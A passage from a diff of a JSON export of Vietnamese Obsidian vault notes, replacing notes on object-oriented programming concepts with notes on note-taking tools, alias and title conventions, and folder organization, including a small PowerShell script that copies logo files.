"https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Khái niệm cơ bản/Hàm/Phương thức cho ta biết mình có thể làm gì với vật thể đó", + "Tiêu đề": "Obsidian", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Obsidian", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nó không phải là vật có thể có những hành vi nào, mà là ta có thể làm gì với nó\r\nNguồn:: [epistemology - Is there any philosophical theory behind the concept of object in computer science? - Philosophy Stack Exchange](https://philosophy.stackexchange.com/questions/99660/is-there-any-philosophical-theory-behind-the-concept-of-object-in-computer-scien/99710?noredirect=1#comment294491_99710)\r\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-09T04:16:00.000Z", - "Ngày cập nhật": "2024-09-02T08:16:00.000Z", - "id": "Rv" + "Ngày tạo": "2024-09-01T09:30:00.000Z", + "Ngày cập nhật": "2024-09-02T06:21:00.000Z", + "id": "S7" }, { - "Tiêu đề": "Phương thức phải gắn lên một vật thể cụ thể nào đó để có tác dụng", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Khái niệm cơ bản/Hàm/Phương thức phải gắn lên một vật thể cụ thể nào đó để có tác dụng", + "Tiêu đề": "Tana", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Tana", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Hàm giúp ta làm một công việc nào đó. Công việc đó có thể liên quan tới một vật thể hoặc không. Còn phương thức chắc chắn phải làm những công việc liên quan tới một vật thể cụ thể. [[Phương thức cho ta biết mình có thể làm gì với vật thể đó]]. \n\nVí dụ, bạn có một rổ trái cây:\n![|300](https://upload.wikimedia.org/wikipedia/commons/thumb/b/b6/A_basket_of_fruits.jpg/600px-A_basket_of_fruits.jpg)\n\nBạn muốn cân khối lượng từng quả, nên bạn viết một **phương thức** `cân_nặng()` giúp bạn cân chúng:\n\n```python\ntáo.cân_nặng() # Kết quả: 30g\nchuối.cân_nặng() # Kết quả: 40g\nlê.cân_nặng() # Kết quả: 50g\n```\n\nBạn thấy, dù phương thức `cân_nặng()` không thay đổi, nhưng đối với mỗi một loại trái cây khác nhau sẽ cho một kết quả khác nhau. Phương thức này phải gắn lên một đối tượng cụ thể nào đó để có tác dụng. Bạn phải không thể cân không gì cả được. \n\nTrong khi đó, nếu bạn muốn biết ngày hôm nay là ngày gì, bạn chỉ cần dùng **hàm** `xem_ngày()`:\n\n```python\nxem_ngày() # Kết quả: \"ngày 32 tháng 13 năm 12023\" \n```\n\nBạn thấy là công việc `xem_ngày()` này không phụ thuộc vào vật thể nào. Dù bạn quyết định là sẽ ăn táo hay ăn lê thì kết quả cũng không thay đổi. Dù bạn không có vật thể nào bạn vẫn có thể xem ngày được. \n\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-09T04:16:00.000Z", - "Ngày cập nhật": "2024-09-02T08:16:00.000Z", - "id": "Rw" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T06:21:00.000Z", + "id": "S8" }, { - "Tiêu đề": "Lớp là một cái khuôn để tạo các vật thể cho nhanh", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Khái niệm cơ bản/Lớp/Lớp là một cái khuôn để tạo các vật thể cho nhanh", + "Tiêu đề": "TiddlyWiki", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/TiddlyWiki", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![](http://pytolearn.csd.auth.gr/p0-py/00/classcar.png) \nNguồn:: [pytypes](http://pytolearn.csd.auth.gr/p0-py/00/pytypes.html)\n\n[[Hoạt động trung tâm của lập trình hướng vật thể là phân loại]] \nTương tự, [[Giao diện là cái khuôn của phương thức]]\n", + "Toàn bộ nội dung": "Khái niệm:: \numm, mình nghĩ nó là công cụ được thiết kế tốt, mature, elegant, phù hợp để tổ chức các ghi chú văn bản thuần (bao gồm cả các công thức toán học với latex, các dạng biểu diễn dựa trên văn bản, yml, xml, excaldraw files,...) \n\nnhược điểm là chèn ảnh, dặc biệt là local files khá vất vả với nó (trừ khi upload lên host nào đó rồi dán link vào; ngược lại thì chèn trực tiếp Data URI vào sẽ làm tăng chóng mặt kích thước tệp html.\nmình nghĩ nó trung gian giữa singlenote/google keep, workflowy với mấy cái như Obisidan, Notion, etc..\n\nNó không quá đơn giản đến mức gây overloaded nếu xài singlenote, keeps tầm 100 notes trở lên; nhưng cũng không tích hợp hay ôm đồm quá nhiều thứ như Obsidian, Notion... \n\nNó đơn giản là hyper notes với internal hyperlink, transclusion,... nhẹ nhưng mạnh mẽ, backup đơn giản, nhúng vào đâu cũng được (Drive, Dropbox,.. webapp,...) xài được ở mọi nơi. \nxuanvinh — 08/14/2024 12:45 AM\nnhưng nhưu mình đề cập, nó hướng vào transclusion cho văn bản thuần, ... nên nếu dòng làm việc của bạn nặng về hình ảnh, biểu diễn trực quan,etc các thứ tương tự thì sẽ không hợp. \n\nnếu cố gắng điều chỉnh để \"hợp\" được sẽ vất vả hoặc phải kết hợp thêm các công cụ quản lý nôi dung khác.. nên hiệu năng sẽ bị giảm sút khi ghi chú đủ nhiều.\n\nhttps://atlas-disciplines.unige.ch/\nhttps://manuals.annafreud.org/\nhttps://twpub-tools.org/\nhttps://evidentlycube.github.io/TW5-PluginShowcase/index.htmlhttps://evidentlycube.github.io/TW5-PluginShowcase/index.htmlhttps://evidentlycube.github.io/TW5-PluginShowcase/index.html \nInteractive Historical Atlas of the Disciplines\n\n— University of Ge...\nThe Interactive Historical Atlas of the Disciplines is a project aimed at mapping the evolution of the disciplinary borders of science over time.\nxuanvinh — 08/14/2024 12:54 AM\nmột điểm mà những người dùng tw hay tự hào là nó có thể chỉnh sửa chính lõi của nó, thay đổi trực tiếp cách nó hoạt động bằng mã js nhúng vào các core modules.\n\nnhưng xài đơn giản thì ổn, chèn quá nhiều vào thì nó phình lên và làm chậm đáng kể.\n\nnhược điểm quan trọng khác, nếu chỉnh sửa core module thì cập nhật lên các bản mới khá vất vả, vì giữa các bản cập nhật của nó có thể có break changes, và mình tự sửa nó theo ý mình gióng như fork một nhánh riêng, sẽ phải tự maintain và tích hợp code nếu có các thay đổi từ upstream, hay để dễ tích hợp với các plugins khác phụ thuộc vào Core API.\n\nnên nó phù hợp với ghi chú cá nhân/dự án cá nhân hơn là đẻ cộng tác với người khác..\n\ncó các forks/ plugins, thậm chí từ mainstream gần đây của Jeremy đang có định biến nó thành multi-wiki, inter-wiki,... nhưng đồng nghĩa với việc phá vỡ triết lý one-thing-contains-all của chính nó.\n\nvì tồn tại đủ lâu nên nó có cộng đồng rất tốt, nhưng lại khá phân mảnh.\nlearning curve mà nhiều người hay nhắc về nó ko hẳn là vì hơi hướng gần với tự viết mã js/css để tùy chỉnh theo ý họ, mà theo mình là bởi sự khó hiểu của các triển khai khác nhau giữa những người khác nhau. \nmặc định là lưu dữ liệu dạng markup/script plaintext (json, xml), dù ở dạng tất-cả-trong-một với 1 tệp html đơn; hoặc lưu nhiều tệp .tid hệt như markdown với Obsidian (nodejs version)\n\nbên cạnh có thể xài như là NoSQL database với CouchDB/Cloudant, Firebase, AWS Lambda,... tuy nhánh này hỗ trợ chưa được tốt lắm và phải tự cấu hình nhiều. \n\nNguồn:: [Discord](https://discord.com/channels/686053708261228577/944662832585277511/1272972267281711227)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-10T13:48:00.000Z", - "Ngày cập nhật": "2024-09-02T08:16:00.000Z", - "id": "Rx" + "Ngày tạo": "2024-08-16T06:20:00.000Z", + "Ngày cập nhật": "2024-09-02T06:21:00.000Z", + "id": "S9" }, { - "Tiêu đề": "API là giao diện của một chương trình", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Khái niệm cơ bản/Mô đun/API là giao diện của một chương trình", + "Tiêu đề": "Zotero", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Zotero", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-11T06:42:00.000Z", - "Ngày cập nhật": "2024-09-02T08:16:00.000Z", - "id": "Ry" + "Ngày tạo": "2024-08-31T15:30:00.000Z", + "Ngày cập nhật": "2024-09-02T06:21:00.000Z", + "id": "SA" }, { - "Tiêu đề": "Giao diện", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Khái niệm cơ bản/Mô đun/Giao diện", + "Tiêu đề": "Các loại alias", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Các loại alias", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Một cách đại khái, [interface](https://tuhocict.com/lesson/cai-tien-data-acceess-su-dung-interface/) là một giao kèo giữa bên sử dụng và bên thực thi class. Cụ thể hơn, [interface](https://tuhocict.com/giai-phap-winforms-3-interface-loose-coupling/) chứa các mô tả về phương thức và thuộc tính mà bên thực thi class phải xây dựng. Bên sử dụng thì không cần quan tâm đến cách thức xây dựng này.\n\nLấy một ví dụ khác. Giả sử đèn điện nhà bạn lắp toàn loại đui xoáy. Nếu bạn cần mua bóng đèn, có vô số loại khác nhau, từ đèn sợi đốt đến đèn huỳnh quang, từ hình vuông đến hình tròn. Nhưng chỉ cần nó là đui xoáy thì bạn đều có thể sử dụng được.\n\nKhi so ra, đui xoáy ở đây chính là một dạng interface, là “giao kèo” giữa người sử dụng bóng đèn và người sản xuất bóng đèn. Người sản xuất chỉ cần đảm bảo “đui xoáy” cho bóng mình làm ra. Người sử dụng thì không cần quan tâm đến cách thức làm ra bóng đèn, miễn sao có đui xoáy là được.\n\nInterface khi đó được bên sử dụng xem như một kiểu dữ liệu. Biến của kiểu dữ liệu này có thể tương thích với bất kỳ object nào tạo ra từ class thực thi giao diện tương ứng.\n\nNguồn:: [[tuhocict]], [Bộ nguyên lý SOLID - lập trình viên tương lai cần biết | Tự học ICT](https://tuhocict.com/bo-nguyen-ly-solid-lap-trinh-vien-tuong-lai-can-biet/)\n", + "Toàn bộ nội dung": "Alias dùng để nối tiếp dòng suy nghĩ.\n\nCác loại alias:\n- Liệt kê từ đồng nghĩa không có trong tiêu đề\n- Liệt kê các phiên bản của tiêu đề\n- Liệt kê các ý khác nhau của một đoạn lập luận thống nhất\n\nXem thêm:: [[Các loại tiêu đề và cách dùng chúng]]\n## Liệt kê từ đồng nghĩa không có trong tiêu đề\n\n## Liệt kê các phiên bản của tiêu đề\nThường thấy trong [[📐 Dự án]].\n- Biến danh ngữ thành động ngữ hoặc ngược lại\n- Biến câu khẳng định thành câu hỏi hoặc ngược lại\n\nBiến danh ngữ thành động ngữ hoặc ngược lại:\n- Kế hoạch phát triển Trấn Kỳ\n- Phát triển Trấn Kỳ\n- Chiến lược phát triển Trấn Kỳ\n- Lên kế hoạch phát triển Trấn Kỳ\n- Xác định cơ hội và giải pháp\n\nBiến câu khẳng định thành câu hỏi hoặc ngược lại:\n- WordPress giúp việc tạo web dễ dàng nhất, chứ không phải là thứ tạo web hiệu quả nhất\n- Người dùng cá nhân hoặc dự án nhỏ có nên dùng WordPress hay không?\n\nXem thêm:: [[Quản lý dữ liệu cho dự án, sản phẩm]]\n## Liệt kê các ý khác nhau của một đoạn lập luận thống nhất\nThường thấy trong [[⚡Hiểu biết sâu]]. VD:\n - Ham muốn là việc đáp ứng nhu cầu khi chưa quan sát được nhu cầu của bản thân\n - Chấp là trạng thái của tư duy khi đang có ham muốn\n - Các tài liệu khoa học không bàn về chấp, mà luôn quy vấn đề thành ham muốn\n\nƯu điểm:\n- Làm gọn số lượng ghi chú do không có proxy,\n- Có thể dùng alias làm tóm tắt của bài luôn\n\nNhược điểm:\n- Khi query bằng dataview, xem trên breadcrumb hoặc lập đồ thị thì các ý độc lập không được hiện ra\n- Có khi cả bài thì có nhiều ý, nhưng mỗi ý thì chỉ cần một đoạn lập luận thôi. Thấy ít chữ thì chịu khó đọc hơn\n\nKhông hẳn là nhược điểm, nhưng khi có thông tin khác không ở trong đoạn lập luận đó hoặc khi mỗi ý có thể nằm ở các vị trí khác nhau trong cây thư mục thì cũng phải tách ra. Tách ra sớm thì tiện hơn. VD: \n- [[Sử dụng phương pháp đánh chỉ số tập tin giúp dễ tìm kiếm (search) hơn là truy cập (navigate)]] thì nên ở *`=[[Sử dụng phương pháp đánh chỉ số tập tin giúp dễ tìm kiếm (search) hơn là truy cập (navigate)]].file.path`*, còn\n- [[Đánh số thư mục]] thì nên ở *`=[[Đánh số thư mục]].file.path`*\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-21T15:43:00.000Z", - "Ngày cập nhật": "2024-09-02T08:16:00.000Z", - "id": "Rz" + "Ngày tạo": "2024-09-02T06:14:00.000Z", + "Ngày cập nhật": "2024-09-02T12:43:00.000Z", + "id": "SB" }, { - "Tiêu đề": "Package và library là những cái tên khác nhau cho cùng một thứ", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Khái niệm cơ bản/Mô đun/Package và library là những cái tên khác nhau cho cùng một thứ", + "Tiêu đề": "Các loại tiêu đề và cách dùng chúng", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Các loại tiêu đề và cách dùng chúng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- Mô đun (module): tập tin `.py`\r\n- Thư viện (library), gói (package): thư mục chứa nhiều mô đun liên quan\r\n- Framework: chủ yếu vào cách tư duy mới\r\nNguồn:: ![CS50P - Lecture 4 - Libraries - YouTube](https://youtu.be/MztLZWibctI)\r\n", + "Toàn bộ nội dung": "Lý tưởng nhất thì chỉ cần dùng một thứ để đặt cho tất cả những cái này. Và đó là filename. Chính vì như vậy, nên filename nên là thứ mặc định. Nhưng có những lúc nó chứa ký tự đặc biệt hoặc đường dẫn quá dài thì Windows hoặc Git sẽ không chịu, nên nên có một trường khác có chức năng làm mặc định cho những thứ còn lại. Đó chính là `title`. \n\nNếu tiêu đề Khi truy cập từ cây thư mục thì đang đinh ninh tiêu đề phải giống, nếu khác thì sẽ bị khựng. Nhưng nếu để nguyên tiêu đề của cây thư mục thì sẽ bị lệch so với nội dung, nên cần phải có thể một tiêu đề khác để chuẩn bị cho mình rằng nội dung mới có tiêu đề khác với tiêu đề từ cây thư mục (VD: [[Tạo website]])\n\n| Vai trò | Vị trí xuất hiện | Cách điều chỉnh | Nếu không điều chỉnh thì mặc định sẽ lấy giá trị từ | Lý do cần điều chỉnh mà không dùng mặc định được |\n| ------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------- | --------------- | --------------------------------------------------- | ---------------------------------------------------------------------------------- |\n| Quản lý tập tin từ hệ điều hành. Tạo slug | filename: lúc xuất file, terminal, Windows Explorer | filename | Luôn có | Không có |\n| Nhận diện bài viết, tóm tắt nội dung, quản lý theo cấu trúc của tác giả hoặc người đang tìm kiếm theo một cấu trúc | Tiêu đề: trên cao, file explorer, breadcrumb, menu, navigation pane | `title` | filename | filename không được chứa ký tự đặc biệt hoặc quá dài, nhưng tiêu đề lại có |\n| Tạo dự đoán cho người đọc về nội dung bên trong, làm cho họ thấy vì sao họ cần đọc bài đó, đáp ứng câu hỏi của họ | Headline (`<title>`, `<h1>`) | Markdown `#` | `title`, filename | Mental model của người đã hiểu nó rồi khác với mental model của người chưa hiểu nó |\n| Nối tiếp dòng suy nghĩ | Liên kết (`[[]]`, `<a>`) | `alias` | `title`, filename | |\n| | Search autocomplete, kết quả Google | Không cần chỉnh | `alias`, `title`, filename | |\n| Tiêu đề lúc chia sẻ trên Facebook | Tiêu đề trong Open Graph (`meta property=\"og:title\"`) | `ogTitle` | `title`, filename | |\n\nPlugin [Front Matter Title](https://github.com/snezhig/obsidian-front-matter-title) có thể đọc những cái này để thay đổi trên Obsidian.\n\nXem thêm:: [[Các loại alias]]\n## Path\nGiữ nguyên path?\nPhản đối:\n- Không đáng kể\n- Người muốn tìm đến thì sẽ tìm được thôi. Search cũng không khó\n\n\nCó lúc chỉ muốn đặt tiêu đề là câu hỏi, dù có thể đặt theo chủ đề: [[Làm sao để tìm được thứ cần tìm khi không biết từ khoá chính xác của nó|Làm sao để tìm được thứ cần tìm khi không biết từ khoá chính xác của nó?]]. Có lúc thì chỉ muốn đặt theo chủ đề, dù có thể đặt theo câu hỏi: [[Các loại tiêu đề và cách dùng chúng]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T08:16:00.000Z", - "id": "R-" + "Ngày tạo": "2023-10-27T11:59:00.000Z", + "Ngày cập nhật": "2024-09-02T17:47:00.000Z", + "id": "SC" }, { - "Tiêu đề": "JSON là cách để biểu diễn vật thể ra chữ", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Khái niệm cơ bản/Vật thể/JSON là cách để biểu diễn vật thể ra chữ", + "Tiêu đề": "Cách sắp xếp thư mục cho các tập tin bổ trợ", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Cách sắp xếp thư mục cho các tập tin bổ trợ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Mô tả bài đăng": "Cùng là một tập tin hỗ trợ, khi đang làm việc A thì đầu óc ta sẽ nghĩ đến nó với cái tên và ở cấu trúc phân cấp khác với khi đang làm việc B. Ngoài ra khi quản lý các tập tin như vậy thì muốn tách chúng ra ngoài kho và để riêng vào một thư mục, trong khi lúc cần dùng thì lại cần để vào trong kho. Nên xử lý việc này thế nào?", + "Toàn bộ nội dung": "Bài viết [The Knowledge Organization](https://fibery.io/blog/gems/the-knowledge-organization/) của Fibery có nói đến việc [[Cấu trúc phân cấp thường cứng nhắc và nhân tạo|cấu trúc phân cấp của cây thư mục thường cứng nhắc và nhân tạo]]. Cùng là một tập tin, khi đang làm việc A thì đầu óc ta sẽ nghĩ đến nó với cái tên và ở cấu trúc phân cấp khác với khi đang làm việc B:\n![](https://fibery.io/blog/static/7bae05409fa1f5c4550c798c2725fe3a/573d3/competing-hierarchies.png) \n\nBởi vì [[Obsidian lưu dữ liệu ở định dạng đơn giản]], bạn sẽ bị trói buộc vào cấu trúc phân cấp của cây thư mục. Khi bạn bắt tay viết một ghi chú, bạn sẽ muốn các tập tin hỗ trợ (ảnh, video, code, v.v.) ở trong cùng một thư mục. Nhưng đến khi số lượng ghi chú nhiều hơn, và một ảnh của bạn có thể dùng cho nhiều ghi chú khác nhau, bạn sẽ muốn tách riêng mỗi loại tập tin ra một thư mục khác nhau: ảnh ra thư mục ảnh, ghi chú ra thư mục ghi chú, v.v. Chuyện này không phải là vấn đề lớn. Nếu số lượng ảnh trong thư mục ảnh nhiều quá khó kiểm soát thì mình thường lặp lại cấu trúc ở thư mục ghi chú. VD:\n```\n.git\n.obsidian\nGhi chú/\n├── Chủ đề 1/\n├── ├── Ghi chú 1.1.md\n├── └── Ghi chú 1.2.md\n├── Chủ đề 2/\n├── ├── Ghi chú 2.1.md\n└── └── Ghi chú 2.2.md\nẢnh/\n├── Chủ đề 1/\n└── Chủ đề 2/\n```\n\nCũng không nhất thiết cấu trúc thư mục cho ảnh phải giống với cấu trúc cho ghi chú. Khác nhau cũng được, miễn là quản lý thuận tiện.\n\nRắc rối bắt đầu đến khi mình tạo ra nhiều kho dữ liệu, và mỗi ảnh có thể dùng cho 2, 3 kho. Để dùng ảnh thì mình **bắt buộc phải có ảnh trong từng kho**. Để quản lý ảnh thì mình tạo một thư mục ảnh ở ngoài thư mục kho như sau:\n```\nKho/\n├── Kho A/\n│ ├── Ghi chú/\n│ │ ├── Chủ đề A1/\n│ │ └── Chủ đề A2/\n│ └── Ảnh/\n│ ├── Chủ đề A1/\n│ └── Chủ đề A2/\n└── Kho B/\n ├── Ghi chú/\n │ ├── Chủ đề B1/\n │ └── Chủ đề B2/\n └── Ảnh/\n ├── Chủ đề B1/\n └── Chủ đề B2/\nẢnh/\n├── Chủ đề A1/\n├── Chủ đề A2/\n├── Chủ đề B1/\n└── Chủ đề B2/\n```\n\nCác tập tin hỗ trợ khác mình cũng dùng cấu trúc tương tự.\n\nMỗi lần chỉnh sửa ảnh mình lại phải sao chép vào tất cả các thư mục còn lại. Bạn có thể dùng symbolic link, nhưng mình thấy việc tạo ra như vậy cũng lắt nhắt và không biết mình đã tạo vào những đâu. Hơn nữa [chính Obsidian cũng khuyến cáo không nên làm như vậy](https://help.obsidian.md/Files+and+folders/Symbolic+links+and+junctions \"Symbolic links and junctions - Obsidian Help\"). Trước mình cũng có tạo một script PowerShell để tự động sao chép[^1], nhưng do các thư mục đích trong `destList` cũng thay đổi thường xuyên, nên dạo này mình cũng chỉ sao chép bằng tay. Ảnh nào phải chỉnh quá nhiều thì mình mới chỉnh script. \n\nCách tiếp cận mình nghĩ là triệt để hơn là tạo một plugin để mỗi lần kho được mở lên thì nó sẽ kiểm tra trong thư mục ảnh xem ảnh gốc có thời điểm tạo mới hơn ảnh hiện tại hay không. Nếu có thì tự động chép đè vào ảnh trên kho. Không biết là đã có ai làm cái này chưa?\n\n1. Script PowerShell để tự động sao chép:\n\n```PowerShell\n$PROJ_NAME=\"C Obsidian, quản lý dự án và công cụ nghĩ\" \n$destList=\n \"$env:QC_CODE\\Websites\\$PROJ_NAME\\Web chính\\docs\\assets\\meta\",\n \"$env:QC_CODE\\Websites\\$PROJ_NAME\\Debugging version\\docs\\assets\\meta\",\n \"$env:QC_CODE\\Installers\\$PROJ_NAME\\Resources\",\n \"$env:QC_VAULTS\\$PROJ_NAME\\Vault chính\\Thiết lập\\Ảnh\"\n \n# temporarily change to the correct folder\n$scriptpath = $MyInvocation.MyCommand.Path\n$dir = Split-Path $scriptpath\nWrite-host \"My directory is $dir\"\nPush-Location $dir\n \nforeach ($dest in $destList) {\n \"Copy $(ls logo* -name) to $dest\" \n New-Item -ItemType Directory -Force -Path $dest\\Logo | Out-Null\n copy-Item .\\logo* -destination $dest\\Logo\n}\n\n# now back to previous directory\nPop-Location\n```\n\n%% \n[Separation of content and presentation - Wikipedia](https://en.wikipedia.org/wiki/Separation_of_content_and_presentation)\ncho nên em đổi từ area sang insights em thấy dễ xử lý với em hơn. Cái nào mang tính là kiến thức thôi thì là insight. Kiến thức thì nó độc lập với mong muốn của mình. Còn cái nào đi từ một mục tiêu cụ thể thì là project.\n```plantuml\n@startuml\nfile \".git\" \nfile \".obsidian\" \nfolder \"Ghi chú\" {\n folder \"Chủ đề 1\" {\n file \"1.1.md\" \n file \"1.2.md\" \n }\n folder \"Chủ đề 2\" {\n file \"2.1.md\" \n file \"2.2.md\" \n }\n}\nfolder \"Ảnh\" {\n folder \"Chủ đề 1\" {\n }\n folder \"Chủ đề 2\" {\n }\n}\n@enduml\n```\n%%", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T08:16:00.000Z", - "id": "R_" + "Ngày tạo": "2023-10-22T14:45:00.000Z", + "Ngày cập nhật": "2024-09-02T06:22:00.000Z", + "id": "SD" }, { - "Tiêu đề": "Không cần biết vật thể chứa dữ liệu gì, chỉ cần quan tâm nó làm được gì", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Khái niệm cơ bản/Vật thể/Không cần biết vật thể chứa dữ liệu gì, chỉ cần quan tâm nó làm được gì", + "Tiêu đề": "Quản lý dữ liệu cho dự án, sản phẩm", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Quản lý dữ liệu cho dự án, sản phẩm", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\n", + "Toàn bộ nội dung": "Sau một thời gian loay hoay để quản lý dữ liệu cho việc phát triển sản phẩm, Trấn Kỳ\n\n\nThấy được tương tác giữa một sản phẩm và các sản phẩm bổ trợ\nDo nhu cầu và giả thiết là vô số, nên chỉ tạo note riêng khi chúng lặp lại quá nhiều\n\nGiả thiết: chia thành các nhóm:\n- Giả thiết về bài đăng\n- Giả thiết về thái độ người dùng\n- Giả thiết về điều người dùng nhận được\n- Giả thiết về năng lực và cảnh quan thị trường\n\n\nNếu Quả Cầu là thiên chúa, thì ba ngôi chính là ba khái niệm: vùng đất, sản phẩm, vật thể. \n\nTrong toán học thì chắc gọi là đẳng cấu (isomorphism)\n\nKhi quản lý dữ liệu cho dự án, đừng quản lý công việc, mà hãy quản lý thành phẩm.\nThành phẩm [[Kế hoạch phát triển Trấn Kỳ]] vừa là:\n - Một bản kế hoạch (alias: Kế hoạch phát triển Trấn Kỳ) \n - Một công việc (alias: phát triển Trấn Kỳ) \n - Một công việc lên kế hoạch (alias: Lên kế hoạch phát triển Trấn Kỳ ) \n - Thành phẩm của công việc (alias: Bản kế hoạch phát triển Trấn Kỳ) \n - Một bản báo cáo tình hình công việc (alias: ) \nBởi vì [[Giả định có mặt ở khắp nơi]], và vì [[Cần nghĩ về công việc như là một cách để kiểm định giả thiết, chứ không phải chỉ để hoàn thành]], nên [[Công việc sẽ được gắn ở khắp nơi]] \n\nChỉ khi nào công việc bắt đầu phức tạp thì mới tách ra thành folder riêng, còn trước đó thì vẫn để trong kế hoạch\nVí dụ: sản phẩm `vault dạy Obsidian` có những thành phẩm sau:\n```dataview \nList\nFrom #file/thành-phẩm \nLimit 5\n```\n\nMỗi một thành phẩm chính là một khía cạnh khác nhau của sản phẩm. Giống như con voi được tạo thành từ vòi, ngà, tai, thân, chân, đuôi. Các bộ phận ấy đến lượt chúng lại được cấu tạo từ những bộ phận nhỏ hơn. Cho nên, thành phẩm thực chất là sản phẩm. Bởi vì [[Sản phẩm là vật thể]], nên thành phẩm cũng là một vật thể. Các vật thể này cứ lồng vào nhau như fractal. Một lúc nào đó, khi một thành phẩm trở nên đủ phức tạp, ta có thể tách nó ra thành một sản phẩm riêng của tổ chức.\n\nQuy hồi (recursive) là việc [[Một sản phẩm được tạo nên bởi nhiều thành phẩm. Thứ ta gọi là sản phẩm thành phần, hoặc sản phẩm nhỏ hơn, chính là thành phẩm|một sản phẩm được tạo nên bởi nhiều sản phẩm nhỏ hơn]]\n\n[[Bởi vì sản phẩm có tính quy hồi và có thể là thành phẩm chung của nhiều sản phẩm lớn hơn, nên để quản lý được nó ta phải biết lập trình]]\n\n[[Sản phẩm là sự bồi tụ của các dòng hải lưu nhu cầu và kết tinh của kiến thức]], còn [[Thành phẩm (output) là các kết quả trực tiếp của các công việc]]. \n\nOái oăm là, mặc dù về lý thuyết thì ta biết là nên đi từ thành quả mong muốn cao nhất rồi chẻ nhỏ ra, và phải luôn gắn giả thiết vào thành quả mong muốn đó, nhưng thực tế nhiều khi mình biết mình cần công việc gì luôn mà não chưa nghĩ ra được nó dùng để kiểm định giả thiết gì, và thành quả mong muốn ra sao. Thường đó là công việc nghiên cứu một cái gì đó, vì [[Thành quả mong muốn và giả định của một công việc tìm hiểu một vấn đề nào đó là chính nó|thành quả mong muốn và giả định của nó là chính nó]]. Cho nên, vào lúc chưa nghĩ ra thì để dưới dạng list, khi nghĩ ra rồi thì mới chuyển sang dạng bảng.\n\nVí dụ, lúc mới lên kế hoạch [[Đi năn nỉ]], thì phải hiểu được quan điểm về cho tiền của người cho vay tiền (chủ nợ) nói riêng và người giàu/nhà tư bản nói chung. Bạn hãy cho tôi biết thành quả mong muốn và giả định của nó là gì, nếu không phải là lặp lại câu vừa rồi?\n\nChưa hiểu được cái này thì không làm được gì cả.\n\n\n[[93.01 Mục tiêu, yếu tố hỗ trợ, ý tưởng tốt hơn. Mục tiêu, sản phẩm, hoạt động, tác vụ]] [[93.01 Đồ thị nội hàm các khái niệm]]\n\n[[Giải pháp gợi ý chính là thành phẩm]]\n\n| Giải 